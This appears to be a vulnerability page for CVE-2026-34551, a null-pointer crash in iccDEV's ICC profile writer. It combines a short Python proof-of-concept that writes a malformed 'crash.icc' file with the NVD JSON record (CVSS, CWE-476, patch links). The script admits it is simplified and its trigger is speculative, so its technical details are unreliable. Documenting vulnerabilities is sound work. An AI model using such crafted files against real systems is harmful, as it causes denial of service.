CVE-2026-34551

import struct import os # Simulating a crafted ICC profile that triggers NPD in CIccTagLut16::Write() # This is a conceptual PoC. Real exploitation requires specific binary structure. def create_malicious_icc(): header = b'\x00\x00\x00\x00' # Size placeholder header += b'acsp' # CMM Type header += b'\x00\x00\x00\x00' # Version # ... (rest of standard header) # Create a tag table entry that might cause issues in Write() # Assuming an invalid offset or count leads to null pointer in Lut16 tag_signature = b'mLUT' tag_offset = 0x0 # Invalid offset potentially causing null pointer tag_size = 0x0 tag_table = tag_signature + struct.pack('>I', tag_offset) + struct.pack('>I', tag_size) # Combine (Simplified) data = header + tag_table return data # Embedding in TIFF is complex, this script generates theICC payload with open('crash.icc', 'wb') as f: f.write(create_malicious_icc()) print('Malicious ICC generated. Run iccTiffDump on a TIFF containing this ICC.')

{"cve": {"id": "CVE-2026-34551", "sourceIdentifier": "[email protected]", "published": "2026-03-31T23:17:10.100", "lastModified": "2026-04-20T14:33:37.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a null-pointer dereference (NPD) in CIccTagLut16::Write() can be triggered when processing a crafted ICC profile (embedded in a TIFF and extracted during iccTiffDump). This issue has been patched in version 2.3.1.6."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Antes de la versión 2.3.1.6, una desreferencia de puntero nulo (NPD) en CIccTagLut16::Write() puede desencadenarse al procesar un perfil ICC manipulado (incrustado en un TIFF y extraído durante iccTiffDump). Este problema ha sido parcheado en la versión 2.3.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.6", "matchCriteriaId": "DE133F29-9592-4669-8B76-9F7C88EFE17D"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/702", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/728", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-jmx9-9xmx-g57h", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/702", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking", "Exploit"]}]}}